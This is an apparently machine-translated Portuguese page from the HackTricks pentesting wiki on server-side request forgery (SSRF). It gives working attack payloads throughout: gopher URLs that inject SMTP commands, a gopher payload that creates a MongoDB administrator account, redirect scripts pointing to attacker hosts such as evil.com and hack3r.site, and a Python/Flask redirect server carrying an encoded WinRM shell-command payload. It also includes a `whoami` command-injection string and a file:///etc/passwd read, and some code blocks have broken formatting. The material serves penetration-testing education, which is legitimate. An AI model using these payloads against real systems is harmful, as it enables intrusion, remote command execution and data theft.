hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

26 KiB

SSRF (Server Side Request Forgery)


Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Uma vulnerabilidade de Server-side Request Forgery (SSRF) ocorre quando um atacante manipula uma aplicação do lado do servidor para fazer requisições HTTP a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.

Captura de SSRF

A primeira coisa que você precisa fazer é capturar uma interação SSRF gerada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:

Bypass de Domínios na Lista Branca

Normalmente, você descobrirá que o SSRF está funcionando apenas em certos domínios ou URLs na lista branca. Na página a seguir, você tem uma compilação de técnicas para tentar burlar essa lista branca:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass via redirecionamento aberto

Se o servidor estiver corretamente protegido, você poderá burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web. Como a página da web permitirá SSRF para o mesmo domínio e provavelmente seguirá redirecionamentos, você pode explorar o Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno.
Leia mais aqui: https://portswigger.net/web-security/ssrf

Protocolos

  • file://
  • O esquema de URL file:// é referenciado, apontando diretamente para /etc/passwd: file:///etc/passwd
  • dict://
  • O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: url=sftp://generic.com:11111/
  • TFTP://
  • O Protocolo de Transferência de Arquivos Triviais, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma solicitação a um servidor TFTP. Uma solicitação TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Este segmento abrange o Protocolo de Acesso a Diretórios Leves, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos sobre redes IP. Interaja com um servidor LDAP em localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Um método é descrito para explorar vulnerabilidades de SSRF para interagir com serviços SMTP em localhost, incluindo etapas para revelar nomes de domínio internos e ações investigativas adicionais com base nessas informações.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypassando WAF
  • Se o SSRF for executado pelo curl, o curl possui um recurso chamado URL globbing que pode ser útil para contornar WAFs. Por exemplo, neste writeup você pode encontrar este exemplo de travessia de caminho via protocolo file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. São ilustrados dois usos distintos:

Gopher://

Usando este protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Em seguida, você pode basicamente explorar um SSRF para comunicar com qualquer servidor TCP (mas você precisa saber como falar com o serviço primeiro).
Felizmente, você pode usar Gopherus para criar payloads para vários serviços. Além disso, remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Conexão de retorno para 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Criar usuário com nome de usuário=admin com senha=admin123 e com permissão=administrador

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via cabeçalho Referrer e Outros

O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente as aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, é aconselhável usar o plugin do Burp Suite "Collaborator Everywhere", aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF.

SSRF via dados SNI do certificado

Uma configuração incorreta que poderia permitir a conexão a qualquer backend por meio de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao SSRF (Server-Side Request Forgery), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como internal.host.com, usando o comando openssl, é fornecido abaixo:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Upload de arquivo Wget

SSRF com Injeção de Comando

Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderização de PDFs

Se a página da web estiver criando automaticamente um PDF com algumas informações que você forneceu, você pode inserir algum JS que será executado pelo próprio criador de PDF (o servidor) ao criar o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.

De SSRF para DoS

Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.

Funções PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Redirecionamento SSRF para Gopher

Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```markdown
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Proxies mal configurados para SSRF

Truques deste post.

Flask

Código vulnerável do proxy Flask ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

O Flask permite usar **`@`** como caractere inicial, o que permite fazer com que o **nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Código vulnerável:

Foi descoberto que é possível iniciar o caminho de uma solicitação com o caractere ; o que permite usar então @ e injetar um novo host para acessar. Solicitação de ataque:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Servidor Web PHP Integrado

Código PHP vulnerável ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

O PHP permite o uso do **caractere `*` antes de uma barra na URL**, no entanto, possui outras limitações, como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, sendo necessário usar um endereço IP codificado em hexadecimal sem pontos, por exemplo:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Bypass de CORS/SOP com DNS Rebidding

Se você está tendo problemas para exfiltrar conteúdo de um IP local devido ao CORS/SOP, o DNS Rebidding pode ser usado para contornar essa limitação:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding Automatizado

Singularity of Origin é uma ferramenta para realizar ataques de rebinding DNS. Inclui os componentes necessários para redefinir o endereço IP do servidor de ataque para o nome DNS da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.

Confira também o servidor em execução publicamente em http://rebind.it/singularity.html

DNS Rebidding + ID de Sessão TLS/Ticket de Sessão

Requisitos:

  • SSRF
  • Sessões TLS de saída
  • Coisas em portas locais

Ataque:

  1. Solicitar ao usuário/bot acessar um domínio controlado pelo atacante
  2. O TTL do DNS é 0 seg (então a vítima verificará o IP do domínio novamente em breve)
  3. Uma conexão TLS é criada entre a vítima e o domínio do atacante. O atacante introduz o payload dentro do ID de Sessão ou Ticket de Sessão.
  4. O domínio iniciará um loop infinito de redirecionamentos contra ele mesmo. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize novamente uma solicitação DNS do domínio.
  5. Na solicitação DNS, um endereço de IP privado é fornecido agora (127.0.0.1, por exemplo)
  6. O usuário/bot tentará restabelecer a conexão TLS e para fazer isso ele irá enviar o ID de Sessão ou Ticket de Sessão (onde o payload do atacante estava contido). Parabéns, você conseguiu fazer o usuário/bot atacar a si mesmo.

Durante esse ataque, se você quiser atacar localhost:11211 (memcache), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a porta deve sempre ser a mesma).
Para realizar esse ataque, você pode usar a ferramenta: https://github.com/jmdx/TLS-poison/
Para mais informações, confira a palestra onde esse ataque é explicado: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

SSRF Cego

A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.

SSRF Baseado em Tempo

Verificando o tempo das respostas do servidor, pode ser possível saber se um recurso existe ou não (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)

Exploração de SSRF na Nuvem

Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plataformas Vulneráveis ao SSRF

Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Ferramentas

SSRFMap

Ferramenta para detectar e explorar vulnerabilidades de SSRF

Gopherus

Esta ferramenta gera payloads de Gopher para:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser é um scanner de vulnerabilidades Java RMI que suporta operações de ataque para a maioria das vulnerabilidades comuns do Java RMI. A maioria das operações disponíveis suporta a opção --ssrf, para gerar um payload de SSRF para a operação solicitada. Juntamente com a opção --gopher, payloads de gopher prontos para uso podem ser gerados diretamente.

SSRF Proxy

SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Solicitação de Servidor-Side Forgery (SSRF).

Para praticar

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}